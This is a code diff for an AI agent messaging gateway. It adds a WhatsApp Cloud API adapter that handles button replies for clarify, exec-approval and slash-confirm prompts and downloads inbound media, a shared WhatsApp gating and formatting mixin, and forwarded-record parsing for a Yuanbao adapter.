+ ``sc::`` → slash_confirm.resolve
+ """
+ inter = raw_message.get("interactive") or {}
+ # button_reply (interactive.type=button) and list_reply
+ # (interactive.type=list) carry id+title in different sub-objects.
+ inner = inter.get("button_reply") or inter.get("list_reply") or {}
+ button_id = str(inner.get("id") or "").strip()
+ if not button_id:
+ return False
+
+ # Clarify: cl::
+ if button_id.startswith("cl:"):
+ parts = button_id.split(":", 2)
+ if len(parts) != 3:
+ return False
+ _, clarify_id, choice = parts
+ session_key = self._clarify_state.pop(clarify_id, None)
+ if not session_key:
+ logger.info(
+ "[whatsapp_cloud] clarify tap with no matching state "
+ "(clarify_id=%s) — likely stale; falling back to text",
+ clarify_id,
+ )
+ return False
+ try:
+ from tools.clarify_gateway import resolve_gateway_clarify
+ except ImportError:
+ logger.warning(
+ "[whatsapp_cloud] clarify resolver unavailable; "
+ "falling back to text dispatch"
+ )
+ return False
+ if choice == "other":
+ # User wants to type a free-form answer. Flip the entry
+ # into text-capture mode so the gateway's text-intercept
+ # (in _handle_message) picks up their next message and
+ # resolves the clarify. Without this flip,
+ # ``get_pending_for_session`` won't return the entry —
+ # the next text would fall through to the regular agent
+ # path, which collides with the agent thread still
+ # blocked in clarify and produces an "Interrupting
+ # current task" loop.
+ try:
+ from tools.clarify_gateway import mark_awaiting_text
+ flipped = mark_awaiting_text(clarify_id)
+ except Exception:
+ logger.exception(
+ "[whatsapp_cloud] mark_awaiting_text failed for %s",
+ clarify_id,
+ )
+ flipped = False
+ if not flipped:
+ # Entry vanished between the user tap and our handler
+ # (timeout, /new, gateway restart). Drop the stale
+ # state and fall through to text dispatch so the
+ # user's tap isn't completely ignored.
+ logger.info(
+ "[whatsapp_cloud] clarify 'Other' tap but entry "
+ "missing (clarify_id=%s); falling back to text",
+ clarify_id,
+ )
+ return False
+ # Put state back since we popped it earlier — keep the
+ # clarify_id → session_key mapping live in case future
+ # taps land on the same prompt.
+ self._clarify_state[clarify_id] = session_key
+ try:
+ await self.send(
+ str(raw_message.get("from") or ""),
+ "✏️ Type your answer:",
+ )
+ except Exception:
+ logger.exception("[whatsapp_cloud] clarify other-prompt failed")
+ return True # claim so we don't also dispatch the tap as text
+ try:
+ idx = int(choice)
+ except ValueError:
+ logger.warning(
+ "[whatsapp_cloud] clarify tap had non-int choice: %r",
+ choice,
+ )
+ # Put state back so a follow-up text can still resolve.
+ self._clarify_state[clarify_id] = session_key
+ return False
+ # Use the title text as the resolved response so the agent
+ # sees the human-readable answer, not the index. Title is
+ # the numeric label ("1", "2", ...) so we look up the
+ # full choice from the original prompt — but we didn't
+ # persist that. Fall back to passing the index; the agent
+ # has the prompt in context and can interpret it.
+ response_text = str(inner.get("title") or str(idx + 1))
+ resolved = resolve_gateway_clarify(clarify_id, response_text)
+ if not resolved:
+ # Resolver couldn't find a waiter (e.g. agent already
+ # timed out). Fall through to text dispatch.
+ logger.info(
+ "[whatsapp_cloud] clarify resolver reported no waiter "
+ "(clarify_id=%s) — falling back to text", clarify_id,
+ )
+ return False
+ return True
+
+ # Exec approval: appr::approve|deny
+ if button_id.startswith("appr:"):
+ parts = button_id.split(":", 2)
+ if len(parts) != 3:
+ return False
+ _, approval_id, choice = parts
+ session_key = self._exec_approval_state.pop(approval_id, None)
+ if not session_key:
+ logger.info(
+ "[whatsapp_cloud] approval tap with no matching state "
+ "(approval_id=%s) — likely stale; falling back to text",
+ approval_id,
+ )
+ return False
+ if choice not in ("approve", "deny"):
+ self._exec_approval_state[approval_id] = session_key
+ return False
+ try:
+ from tools.approval import resolve_gateway_approval
+ except ImportError:
+ logger.warning(
+ "[whatsapp_cloud] approval resolver unavailable"
+ )
+ return False
+ count = resolve_gateway_approval(session_key, choice)
+ if not count:
+ logger.info(
+ "[whatsapp_cloud] approval resolver reported no waiter "
+ "(session_key=%s) — likely already resolved",
+ session_key,
+ )
+ # Send confirmation message — paralleling Telegram's UX.
+ try:
+ confirm_text = (
+ "✅ Approved." if choice == "approve" else "❌ Denied."
+ )
+ await self.send(str(raw_message.get("from") or ""), confirm_text)
+ except Exception:
+ logger.exception("[whatsapp_cloud] approval confirm failed")
+ return True
+
+ # Slash confirm: sc::
+ if button_id.startswith("sc:"):
+ parts = button_id.split(":", 2)
+ if len(parts) != 3:
+ return False
+ _, choice, confirm_id = parts
+ session_key = self._slash_confirm_state.pop(confirm_id, None)
+ if not session_key:
+ logger.info(
+ "[whatsapp_cloud] slash_confirm tap with no matching state "
+ "(confirm_id=%s) — likely stale", confirm_id,
+ )
+ return False
+ if choice not in ("once", "always", "cancel"):
+ self._slash_confirm_state[confirm_id] = session_key
+ return False
+ try:
+ from tools import slash_confirm as _slash_confirm_mod
+ except ImportError:
+ logger.warning(
+ "[whatsapp_cloud] slash_confirm resolver unavailable"
+ )
+ return False
+ try:
+ result_text = await _slash_confirm_mod.resolve(
+ session_key, confirm_id, choice
+ )
+ except Exception:
+ logger.exception("[whatsapp_cloud] slash_confirm.resolve failed")
+ return True # still claim the tap; surfacing it as text wouldn't help
+ if result_text:
+ try:
+ await self.send(str(raw_message.get("from") or ""), result_text)
+ except Exception:
+ logger.exception("[whatsapp_cloud] slash_confirm reply failed")
+ return True
+
+ # Unknown prefix — let text dispatch handle the title as a
+ # regular message. Could be a tap from a plugin-defined adapter
+ # we don't know about; treating it as text is the safe default.
+ return False
+
+ async def _build_message_event_from_cloud(
+ self,
+ raw_message: Dict[str, Any],
+ contacts_by_waid: Dict[str, str],
+ metadata: Dict[str, Any],
+ ) -> Optional[MessageEvent]:
+ """Convert a Cloud-API message object into a Hermes MessageEvent.
+
+ Phase 4 expands beyond text to download inbound media (image,
+ video, audio/voice, document, sticker) by ``media_id`` via the
+ two-step Graph endpoint. Cached files are populated into
+ ``media_urls`` / ``media_types`` so the agent's vision and STT
+ layers see them. Text-readable documents (.txt, .md, .json,
+ source code, etc.) are read and prepended to the message body
+ up to 100KB — same heuristic the Baileys adapter uses.
+
+ Returns None if the message is filtered out by the mixin's
+ gating (broadcast filter, allow-list, mention requirements).
+ """
+ msg_type_str = str(raw_message.get("type") or "text").lower()
+
+ # Interactive replies (button taps, list selections) carry an ``id``
+ # we set when sending the prompt. Route those to the appropriate
+ # gateway resolver BEFORE falling through to text dispatch — the
+ # resolver unblocks the waiting agent thread, so we don't want to
+ # also kick a fresh conversation turn off the same tap.
+ if msg_type_str == "interactive":
+ handled = await self._dispatch_interactive_reply(
+ raw_message, contacts_by_waid
+ )
+ if handled:
+ return None
+
+ body = ""
+ if msg_type_str == "text":
+ text = raw_message.get("text") or {}
+ body = str(text.get("body") or "")
+ elif msg_type_str in {"button", "interactive"}:
+ # Quick-reply buttons. Treat the button payload as text so the
+ # agent can reason about the user's choice.
+ if msg_type_str == "button":
+ body = str((raw_message.get("button") or {}).get("text") or "")
+ else:
+ inter = raw_message.get("interactive") or {}
+ # button_reply / list_reply both expose ``title``
+ inner = inter.get("button_reply") or inter.get("list_reply") or {}
+ body = str(inner.get("title") or "")
+ elif msg_type_str in {"image", "video", "audio", "voice", "document", "sticker"}:
+ # Captions live on image / video / document. Other media types
+ # don't carry a caption in Meta's spec, but be defensive.
+ inner = raw_message.get(msg_type_str) or {}
+ body = str(inner.get("caption") or "")
+
+ message_type = {
+ "text": MessageType.TEXT,
+ "image": MessageType.PHOTO,
+ "video": MessageType.VIDEO,
+ "audio": MessageType.VOICE,
+ "voice": MessageType.VOICE,
+ "document": MessageType.DOCUMENT,
+ "sticker": MessageType.PHOTO,
+ "button": MessageType.TEXT,
+ "interactive": MessageType.TEXT,
+ "location": MessageType.TEXT,
+ "contacts": MessageType.TEXT,
+ }.get(msg_type_str, MessageType.TEXT)
+
+ sender_id = str(raw_message.get("from") or "").strip()
+ sender_name = contacts_by_waid.get(sender_id, "")
+
+ # Cloud API doesn't have a separate "chat" entity for DMs — chat_id
+ # equals the sender's wa_id. Group support is deferred to v2.
+ #
+ # Defensive guard: if Meta ever delivers a group-shaped payload
+ # (group support is capability-tier gated by Meta; some WABAs
+ # have it enabled), refuse rather than silently treating it as
+ # a DM. Group messages carry a ``chat`` field on the message
+ # object identifying the group JID — its absence signals DM.
+ chat_field = raw_message.get("chat")
+ if chat_field:
+ logger.warning(
+ "[whatsapp_cloud] received group-shaped message (chat=%s, "
+ "wamid=%s) — group support is not yet implemented; dropping. "
+ "Use the Baileys whatsapp adapter for group chats.",
+ chat_field, raw_message.get("id"),
+ )
+ return None
+
+ chat_id = sender_id
+
+ # Build the data dict the mixin's _should_process_message expects.
+ # Cloud API uses different field names from Baileys, so we adapt.
+ gating_data = {
+ "chatId": chat_id,
+ "senderId": sender_id,
+ "isGroup": False, # Phase 3 = DM only
+ "body": body,
+ }
+ if not self._should_process_message(gating_data):
+ return None
+
+ # Download media if this is a non-text message type. Inbound media
+ # arrives as ``{type: "image", image: {id, mime_type, sha256, ...}}``.
+ media_urls: list[str] = []
+ media_types: list[str] = []
+ if msg_type_str in {"image", "video", "audio", "voice", "document", "sticker"}:
+ inner = raw_message.get(msg_type_str) or {}
+ media_id = str(inner.get("id") or "").strip()
+ inbound_mime = str(inner.get("mime_type") or "").strip()
+ if media_id:
+ ext_hint = None
+ if inbound_mime:
+ ext_hint = _ext_for_mime(inbound_mime)
+ local_path, dl_mime = await self._download_media_to_cache(
+ media_id, ext_hint=ext_hint
+ )
+ if local_path:
+ media_urls.append(local_path)
+ media_types.append(dl_mime or inbound_mime or "application/octet-stream")
+ logger.info(
+ "[whatsapp_cloud] cached inbound %s media: %s",
+ msg_type_str, local_path,
+ )
+ else:
+ logger.warning(
+ "[whatsapp_cloud] failed to download inbound %s (id=%s) — "
+ "agent will see message metadata but not the binary",
+ msg_type_str, media_id,
+ )
+ # Document: original filename for the agent's UX.
+ if msg_type_str == "document":
+ fname = str(inner.get("filename") or "").strip()
+ if fname and not body:
+ body = f"[Document: {fname}]"
+
+ # For text-readable documents, inject the file content directly into
+ # the message body so the agent can reason about it without a
+ # separate read_file call. Same heuristic the Baileys adapter uses.
+ # 100KB cap matches Telegram/Discord/Slack.
+ MAX_TEXT_INJECT_BYTES = 100 * 1024
+ if msg_type_str == "document" and media_urls:
+ for doc_path in media_urls:
+ ext = Path(doc_path).suffix.lower()
+ if ext in {
+ ".txt", ".md", ".csv", ".json", ".xml", ".yaml", ".yml",
+ ".log", ".py", ".js", ".ts", ".html", ".css",
+ }:
+ try:
+ file_size = Path(doc_path).stat().st_size
+ if file_size > MAX_TEXT_INJECT_BYTES:
+ logger.info(
+ "[whatsapp_cloud] skipping text injection for %s "
+ "(%d bytes > %d)",
+ doc_path, file_size, MAX_TEXT_INJECT_BYTES,
+ )
+ continue
+ content = Path(doc_path).read_text(
+ encoding="utf-8", errors="replace"
+ )
+ display_name = Path(doc_path).name
+ injection = f"[Content of {display_name}]:\n{content}"
+ body = f"{injection}\n\n{body}" if body else injection
+ except OSError:
+ logger.exception(
+ "[whatsapp_cloud] failed to read document text: %s",
+ doc_path,
+ )
+
+ # context.id is set when the user replied to one of our messages.
+ context = raw_message.get("context") or {}
+ reply_to_id = str(context.get("id") or "").strip() or None
+
+ source = self.build_source(
+ chat_id=chat_id,
+ chat_name=sender_name or chat_id,
+ chat_type="dm",
+ user_id=sender_id,
+ user_name=sender_name or None,
+ )
+
+ # Cloud API timestamps are unix seconds (string). MessageEvent
+ # doesn't enforce a type but downstream code formats with it.
+ wamid = str(raw_message.get("id") or "") or None
+ if wamid and chat_id:
+ # Refresh the per-chat latest-wamid cache so a subsequent
+ # send_typing call can attach the indicator + read receipt
+ # to this message. Done HERE (after _should_process_message
+ # gating) so filtered messages don't leak typing on
+ # unwanted inbound traffic.
+ self._bounded_put(self._last_inbound_wamid_by_chat, chat_id, wamid)
+
+ return MessageEvent(
+ text=body,
+ message_type=message_type,
+ source=source,
+ raw_message=raw_message,
+ message_id=wamid,
+ reply_to_message_id=reply_to_id,
+ media_urls=media_urls,
+ media_types=media_types,
+ )
diff --git a/gateway/platforms/whatsapp_common.py b/gateway/platforms/whatsapp_common.py
new file mode 100644
index 000000000000..6b56be3b8de9
--- /dev/null
+++ b/gateway/platforms/whatsapp_common.py
@@ -0,0 +1,367 @@
+"""
+Transport-agnostic WhatsApp behavior shared by the Baileys bridge adapter
+and the official WhatsApp Cloud API adapter.
+
+The mixin provides:
+- Allow-list / DM / group gating
+- Mention detection (explicit @-mentions + configurable regex patterns)
+- Quoted-reply-to-bot detection
+- Broadcast / Channel / Newsletter filtering
+- WhatsApp-flavored markdown conversion
+- Outgoing chunk length budgeting
+
+It is the *behavior layer*. Transport-specific concerns (subprocess management,
+HTTP webhooks, Graph API calls, media upload protocols) live in each adapter.
+
+Mixin contract — the adapter must set these on ``self`` before any of the
+mixin's methods are called (typically in ``__init__``):
+
+ self.config # gateway.config.PlatformConfig
+ self.name # str — adapter name (used in log lines)
+ self._dm_policy # str: "open" | "allowlist" | "disabled"
+ self._allow_from # set[str]
+ self._group_policy # str: "open" | "allowlist" | "disabled"
+ self._group_allow_from # set[str]
+ self._mention_patterns # list[re.Pattern]
+ self._reply_prefix # Optional[str]
+
+Class attributes ``MAX_MESSAGE_LENGTH`` and ``DEFAULT_REPLY_PREFIX`` are
+defined on the mixin and may be overridden per-adapter if needed.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import os
+import re
+from typing import Any, Dict, Optional
+
+
+logger = logging.getLogger(__name__)
+
+
+class WhatsAppBehaviorMixin:
+ """Shared behavior for all WhatsApp adapters (Baileys + Cloud API).
+
+ See module docstring for the attribute contract the host adapter must
+ satisfy. This mixin owns no state of its own — every value it touches
+ is either a class attribute or set by the adapter's ``__init__``.
+ """
+
+ # WhatsApp message limits — practical UX limit, not protocol max.
+ # WhatsApp allows ~65K but long messages are unreadable on mobile.
+ MAX_MESSAGE_LENGTH: int = 4096
+ supports_code_blocks = True # WhatsApp renders fenced code blocks (monospace)
+
+ DEFAULT_REPLY_PREFIX: str = "⚕ *Hermes Agent*\n────────────\n"
+
+ @property
+ def enforces_own_access_policy(self) -> bool:
+ """WhatsApp gates DM/group access at intake via dm_policy/group_policy."""
+ return True
+
+ # ------------------------------------------------------------------ config
+ def _effective_reply_prefix(self) -> str:
+ """Return the prefix to add to outgoing replies in self-chat mode.
+
+ Subclasses that don't have a self-chat concept (the Cloud API
+ adapter) can override this to always return ``""`` or apply a
+ different policy.
+ """
+ whatsapp_mode = os.getenv("WHATSAPP_MODE", "self-chat")
+ if whatsapp_mode != "self-chat":
+ return ""
+ if self._reply_prefix is not None:
+ return self._reply_prefix.replace("\\n", "\n")
+ env_prefix = os.getenv("WHATSAPP_REPLY_PREFIX")
+ if env_prefix is not None:
+ return env_prefix.replace("\\n", "\n")
+ return self.DEFAULT_REPLY_PREFIX
+
+ def _outgoing_chunk_limit(self) -> int:
+ """Reserve room for the reply prefix so the final message fits."""
+ prefix_len = len(self._effective_reply_prefix())
+ # Keep enough space for truncate_message's pagination indicator and
+ # code-fence repair even if a user configures a very long prefix.
+ return max(1024, self.MAX_MESSAGE_LENGTH - prefix_len)
+
+ def _whatsapp_require_mention(self) -> bool:
+ configured = self.config.extra.get("require_mention")
+ if configured is not None:
+ if isinstance(configured, str):
+ return configured.lower() in {"true", "1", "yes", "on"}
+ return bool(configured)
+ return os.getenv("WHATSAPP_REQUIRE_MENTION", "false").lower() in {
+ "true",
+ "1",
+ "yes",
+ "on",
+ }
+
+ def _whatsapp_free_response_chats(self) -> set[str]:
+ raw = self.config.extra.get("free_response_chats")
+ if raw is None:
+ raw = os.getenv("WHATSAPP_FREE_RESPONSE_CHATS", "")
+ if isinstance(raw, list):
+ return {str(part).strip() for part in raw if str(part).strip()}
+ return {part.strip() for part in str(raw).split(",") if part.strip()}
+
+ @staticmethod
+ def _coerce_allow_list(raw) -> set[str]:
+ """Parse allow_from / group_allow_from from config or env var."""
+ if raw is None:
+ return set()
+ if isinstance(raw, list):
+ return {str(part).strip() for part in raw if str(part).strip()}
+ return {part.strip() for part in str(raw).split(",") if part.strip()}
+
+ # ------------------------------------------------------------------ JID helpers
+ @staticmethod
+ def _normalize_whatsapp_id(value: Optional[str]) -> str:
+ if not value:
+ return ""
+ normalized = str(value).strip()
+ if ":" in normalized and "@" in normalized:
+ normalized = normalized.replace(":", "@", 1)
+ return normalized
+
+ @staticmethod
+ def _is_broadcast_chat(chat_id: str) -> bool:
+ """True for WhatsApp pseudo-chats that aren't real conversations.
+
+ Covers Status updates (Stories) and Channel/Newsletter broadcasts.
+ These show up as inbound messages on Baileys but the agent should
+ never reply — answering a Story update spams the contact's status
+ feed, and Channel posts aren't addressable in the first place.
+ """
+ if not chat_id:
+ return False
+ cid = chat_id.strip().lower()
+ if cid == "status@broadcast":
+ return True
+ # @broadcast suffix covers status@broadcast plus any future
+ # broadcast-list variants. @newsletter is the Channel JID suffix.
+ if cid.endswith("@broadcast") or cid.endswith("@newsletter"):
+ return True
+ return False
+
+ # ------------------------------------------------------------------ gating
+ def _is_dm_allowed(self, sender_id: str) -> bool:
+ """Check whether a DM from the given sender should be processed."""
+ if self._dm_policy == "disabled":
+ return False
+ if self._dm_policy == "allowlist":
+ return sender_id in self._allow_from
+ # "open" — all DMs allowed
+ return True
+
+ def _is_group_allowed(self, chat_id: str) -> bool:
+ """Check whether a group chat should be processed."""
+ if self._group_policy == "disabled":
+ return False
+ if self._group_policy == "allowlist":
+ return chat_id in self._group_allow_from
+ # "open" — all groups allowed
+ return True
+
+ def _compile_mention_patterns(self):
+ patterns = self.config.extra.get("mention_patterns")
+ if patterns is None:
+ raw = os.getenv("WHATSAPP_MENTION_PATTERNS", "").strip()
+ if raw:
+ try:
+ patterns = json.loads(raw)
+ except Exception:
+ patterns = [
+ part.strip() for part in raw.splitlines() if part.strip()
+ ]
+ if not patterns:
+ patterns = [
+ part.strip() for part in raw.split(",") if part.strip()
+ ]
+ if patterns is None:
+ return []
+ if isinstance(patterns, str):
+ patterns = [patterns]
+ if not isinstance(patterns, list):
+ logger.warning(
+ "[%s] whatsapp mention_patterns must be a list or string; got %s",
+ self.name,
+ type(patterns).__name__,
+ )
+ return []
+
+ compiled = []
+ for pattern in patterns:
+ if not isinstance(pattern, str) or not pattern.strip():
+ continue
+ try:
+ compiled.append(re.compile(pattern, re.IGNORECASE))
+ except re.error as exc:
+ logger.warning(
+ "[%s] Invalid WhatsApp mention pattern %r: %s",
+ self.name,
+ pattern,
+ exc,
+ )
+ if compiled:
+ logger.info(
+ "[%s] Loaded %d WhatsApp mention pattern(s)", self.name, len(compiled)
+ )
+ return compiled
+
+ def _bot_ids_from_message(self, data: Dict[str, Any]) -> set[str]:
+ bot_ids = set()
+ for candidate in data.get("botIds") or []:
+ normalized = self._normalize_whatsapp_id(candidate)
+ if normalized:
+ bot_ids.add(normalized)
+ return bot_ids
+
+ def _message_is_reply_to_bot(self, data: Dict[str, Any]) -> bool:
+ quoted_participant = self._normalize_whatsapp_id(data.get("quotedParticipant"))
+ if not quoted_participant:
+ return False
+ return quoted_participant in self._bot_ids_from_message(data)
+
+ def _message_mentions_bot(self, data: Dict[str, Any]) -> bool:
+ bot_ids = self._bot_ids_from_message(data)
+ if not bot_ids:
+ return False
+ mentioned_ids = {
+ nid
+ for candidate in (data.get("mentionedIds") or [])
+ if (nid := self._normalize_whatsapp_id(candidate))
+ }
+ if mentioned_ids & bot_ids:
+ return True
+
+ body = str(data.get("body") or "")
+ lower_body = body.lower()
+ for bot_id in bot_ids:
+ bare_id = bot_id.split("@", 1)[0].lower()
+ if bare_id and (f"@{bare_id}" in lower_body or bare_id in lower_body):
+ return True
+ return False
+
+ def _message_matches_mention_patterns(self, data: Dict[str, Any]) -> bool:
+ if not self._mention_patterns:
+ return False
+ body = str(data.get("body") or "")
+ return any(pattern.search(body) for pattern in self._mention_patterns)
+
+ def _clean_bot_mention_text(self, text: str, data: Dict[str, Any]) -> str:
+ if not text:
+ return text
+ bot_ids = self._bot_ids_from_message(data)
+ cleaned = text
+ for bot_id in bot_ids:
+ bare_id = bot_id.split("@", 1)[0]
+ if bare_id:
+ cleaned = re.sub(
+ rf"@{re.escape(bare_id)}\b[,:\-]*\s*", "", cleaned
+ )
+ return cleaned.strip() or text
+
+ def _should_process_message(self, data: Dict[str, Any]) -> bool:
+ chat_id_raw = str(data.get("chatId") or "")
+ # WhatsApp uses pseudo-chats for Status updates (Stories) and
+ # Channel/Newsletter broadcasts. These are not real conversations
+ # and the agent should never reply to them — even in self-chat mode
+ # where the bridge may surface them as "fromMe" events.
+ if self._is_broadcast_chat(chat_id_raw):
+ return False
+ is_group = data.get("isGroup", False)
+ if is_group:
+ chat_id = chat_id_raw
+ if not self._is_group_allowed(chat_id):
+ return False
+ else:
+ sender_id = str(data.get("senderId") or data.get("from") or "")
+ if not self._is_dm_allowed(sender_id):
+ return False
+ # DMs that pass the policy gate are always processed
+ return True
+ # Group messages: check mention / free-response settings
+ chat_id = str(data.get("chatId") or "")
+ if chat_id in self._whatsapp_free_response_chats():
+ return True
+ if not self._whatsapp_require_mention():
+ return True
+ body = str(data.get("body") or "").strip()
+ if body.startswith("/"):
+ return True
+ if self._message_is_reply_to_bot(data):
+ return True
+ if self._message_mentions_bot(data):
+ return True
+ return self._message_matches_mention_patterns(data)
+
+ # ------------------------------------------------------------------ formatting
+ def format_message(self, content: str) -> str:
+ """Convert standard markdown to WhatsApp-compatible formatting.
+
+ WhatsApp supports: *bold*, _italic_, ~strikethrough~, ```code```,
+ and monospaced `inline`. Standard markdown uses different syntax
+ for bold/italic/strikethrough, so we convert here.
+
+ Code blocks (``` fenced) and inline code (`) are protected from
+ conversion via placeholder substitution.
+ """
+ if not content:
+ return content
+
+ # --- 1. Protect fenced code blocks from formatting changes ---
+ _FENCE_PH = "\x00FENCE"
+ fences: list[str] = []
+
+ def _save_fence(m: re.Match) -> str:
+ fences.append(m.group(0))
+ return f"{_FENCE_PH}{len(fences) - 1}\x00"
+
+ result = re.sub(r"```[\s\S]*?```", _save_fence, content)
+
+ # --- 2. Protect inline code ---
+ _CODE_PH = "\x00CODE"
+ codes: list[str] = []
+
+ def _save_code(m: re.Match) -> str:
+ codes.append(m.group(0))
+ return f"{_CODE_PH}{len(codes) - 1}\x00"
+
+ result = re.sub(r"`[^`\n]+`", _save_code, result)
+
+ # --- 3. Convert markdown formatting to WhatsApp syntax ---
+ # Bold: **text** or __text__ → *text*
+ result = re.sub(r"\*\*(.+?)\*\*", r"*\1*", result)
+ result = re.sub(r"__(.+?)__", r"*\1*", result)
+ # Strikethrough: ~~text~~ → ~text~
+ result = re.sub(r"~~(.+?)~~", r"~\1~", result)
+ # Italic: *text* is already WhatsApp italic — leave as-is
+ # _text_ is already WhatsApp italic — leave as-is
+
+ # --- 4. Convert markdown headers to bold text ---
+ # # Header → *Header*. Strip any *...* wrapping already produced
+ # by step 3 (e.g. "# **Title**" → "*Title*", not "**Title**",
+ # which WhatsApp renders with literal asterisks).
+ def _header_to_bold(m: re.Match) -> str:
+ inner = m.group(1).strip()
+ while len(inner) > 1 and inner.startswith("*") and inner.endswith("*"):
+ inner = inner[1:-1].strip()
+ return f"*{inner}*"
+
+ result = re.sub(
+ r"^#{1,6}\s+(.+)$", _header_to_bold, result, flags=re.MULTILINE
+ )
+
+ # --- 5. Convert markdown links: [text](url) → text (url) ---
+ result = re.sub(r"\[([^\]]+)\]\(([^)]+)\)", r"\1 (\2)", result)
+
+ # --- 6. Restore protected sections ---
+ for i, fence in enumerate(fences):
+ result = result.replace(f"{_FENCE_PH}{i}\x00", fence)
+ for i, code in enumerate(codes):
+ result = result.replace(f"{_CODE_PH}{i}\x00", code)
+
+ return result
diff --git a/gateway/platforms/yuanbao.py b/gateway/platforms/yuanbao.py
index 9eec7079f534..26a151304da0 100644
--- a/gateway/platforms/yuanbao.py
+++ b/gateway/platforms/yuanbao.py
@@ -18,6 +18,8 @@
from __future__ import annotations
import asyncio
+import base64
+import binascii
import collections
import dataclasses
import hashlib
@@ -31,9 +33,10 @@
import urllib.parse
import uuid
from datetime import datetime, timezone, timedelta
+from enum import Enum
from pathlib import Path
from abc import ABC, abstractmethod
-from typing import Any, Callable, ClassVar, Dict, List, Optional, Tuple
+from typing import Any, Callable, ClassVar, Dict, Iterator, List, Optional, Tuple
import sys
@@ -55,6 +58,7 @@
SendResult,
cache_document_from_bytes,
cache_image_from_bytes,
+ cache_video_from_bytes,
)
from gateway.platforms.helpers import MessageDeduplicator
from gateway.platforms.yuanbao_media import (
@@ -77,6 +81,7 @@
HERMES_INSTANCE_ID,
decode_conn_msg,
decode_inbound_push,
+ decode_forward_msg_data,
decode_query_group_info_rsp,
decode_get_group_member_list_rsp,
encode_auth_bind,
@@ -164,7 +169,7 @@
_YB_LOCAL_MEDIA_RE = re.compile(r"\[(\w+):[^\]]*?(/[^\]]+?)\s*\]")
# Media kinds that can be resolved and injected into the model context
-_RESOLVABLE_MEDIA_KINDS = frozenset({"image", "file"})
+_RESOLVABLE_MEDIA_KINDS = frozenset({"image", "file", "video"})
# Strip page indicators like (1/3) appended by BasePlatformAdapter
_INDICATOR_RE = re.compile(r'\s*\(\d+/\d+\)$')
@@ -932,6 +937,10 @@ class InboundContext:
raw_text: str = ""
media_refs: list = dc_field(default_factory=list)
+ # Populated by ExtractContentMiddleware for elem_type 1009 (WeChat forward).
+ # Contains the parsed ForwardMsgData dict (sub_type / nick_name / msg list).
+ forwarded_records: Optional[dict] = None
+
# Owner command detection
owner_command: Optional[str] = None
@@ -939,7 +948,7 @@ class InboundContext:
source: Optional[Any] = None # SessionSource
# Populated by ClassifyMessageTypeMiddleware
- msg_type: Optional[Any] = None # MessageType
+ msg_type: Optional[Any] = None # MessageType | YuanbaoMessageType
# Populated by QuoteContextMiddleware
reply_to_message_id: Optional[str] = None
@@ -1761,6 +1770,9 @@ def _extract_text(cls, msg_body: list) -> str:
parts.append(text)
else:
parts.append("[unsupported message type]")
+ elif ctype == 1009:
+ # WeChat forwarded chat record: use the truncated summary text.
+ parts.append(custom.get("text", "[chat record]"))
else:
parts.append("[unsupported message type]")
except (json.JSONDecodeError, TypeError):
@@ -1872,10 +1884,70 @@ def _extract_link_urls(msg_body: list) -> list:
pass
return urls
+ @staticmethod
+ def _extract_forwarded_records(msg_body: list, user_id: str = "") -> Optional[dict]:
+ """Extract ForwardMsgData from ext_map for elem_type 1009 (WeChat forward).
+
+ The detailed chat-record payload lives in ``msg_content.ext_map``
+ (protobuf field 999, ``map``):
+ - key format: ``wexin_forward_msg_[forward_msg_id]_[userid]``
+ - value: a **base64-encoded protobuf** ``ForwardMsgData`` (NOT JSON).
+ Decode with base64 then ``decode_forward_msg_data`` to recover the
+ ``sub_type`` / ``nick_name`` / ``msg`` structure.
+
+ Matching strategy: take the first ``wexin_forward_msg_`` entry whose
+ decoded payload is a valid ``ForwardMsgData`` (``sub_type == 1``).
+
+ Returns the parsed ``ForwardMsgData`` dict or ``None``.
+ """
+ for elem in msg_body or []:
+ if not isinstance(elem, dict) or elem.get("msg_type") != "TIMCustomElem":
+ continue
+ content = elem.get("msg_content", {}) or {}
+ if not isinstance(content, dict):
+ continue
+ data_str = content.get("data", "")
+ if not data_str:
+ continue
+ try:
+ custom = json.loads(data_str)
+ except (json.JSONDecodeError, TypeError):
+ continue
+ if not (isinstance(custom, dict) and custom.get("elem_type") == 1009):
+ continue
+
+ ext_map = content.get("ext_map") or {}
+ if not isinstance(ext_map, dict) or not ext_map:
+ return None
+
+ def _parse_value(value):
+ # ext_map values are base64-encoded ForwardMsgData protobuf.
+ if not isinstance(value, str) or not value:
+ return None
+ try:
+ pb = base64.b64decode(value)
+ except (binascii.Error, ValueError):
+ return None
+ data = decode_forward_msg_data(pb)
+ if isinstance(data, dict) and data.get("sub_type") == 1:
+ return data
+ return None
+
+ # Take the first valid wexin_forward_msg_ entry.
+ for key, value in ext_map.items():
+ if not key.startswith("wexin_forward_msg_"):
+ continue
+ parsed = _parse_value(value)
+ if parsed is not None:
+ return parsed
+
+ return None
+
async def handle(self, ctx: InboundContext, next_fn) -> None:
ctx.raw_text = self._rewrite_slash_command(self._extract_text(ctx.msg_body))
ctx.media_refs = self._extract_inbound_media_refs(ctx.msg_body)
ctx.link_urls = self._extract_link_urls(ctx.msg_body)
+ ctx.forwarded_records = self._extract_forwarded_records(ctx.msg_body, ctx.from_account)
await next_fn()
class PlaceholderFilterMiddleware(InboundMiddleware):
@@ -2085,10 +2157,14 @@ def _build_group_channel_prompt(msg_body: list, bot_id: Optional[str]) -> str:
"and answer it directly."
)
- @staticmethod
+ @classmethod
def _observe_group_message(
+ cls,
adapter, source, sender_display: str, text: str,
- *, msg_id: Optional[str] = None,
+ *,
+ ctx: InboundContext,
+ msg_id: Optional[str] = None,
+ forwarded_records: Optional[dict] = None,
) -> None:
"""Write a group message into the session transcript without triggering the agent.
@@ -2103,7 +2179,14 @@ def _observe_group_message(
try:
session_entry = store.get_or_create_session(source)
user_id = source.user_id or "unknown"
- attributed = f"[{sender_display}|{user_id}]\n{text}"
+ body_text = text
+ if forwarded_records:
+ summary = ForwardedRecordsParseMiddleware.build_forward_text(
+ forwarded_records, ctx=ctx, is_dispatch=False,
+ )
+ if summary:
+ body_text = f"{text}\n{summary}" if text else summary
+ attributed = f"[{sender_display}|{user_id}]\n{body_text}"
entry: dict = {
"role": "user",
"content": attributed,
@@ -2125,6 +2208,8 @@ async def handle(self, ctx: InboundContext, next_fn) -> None:
self._observe_group_message(
adapter, ctx.source, ctx.sender_nickname or ctx.from_account, ctx.raw_text,
msg_id=ctx.msg_id or None,
+ forwarded_records=ctx.forwarded_records,
+ ctx=ctx,
)
logger.info(
"[%s] Group message observed (no @bot): chat=%s from=%s",
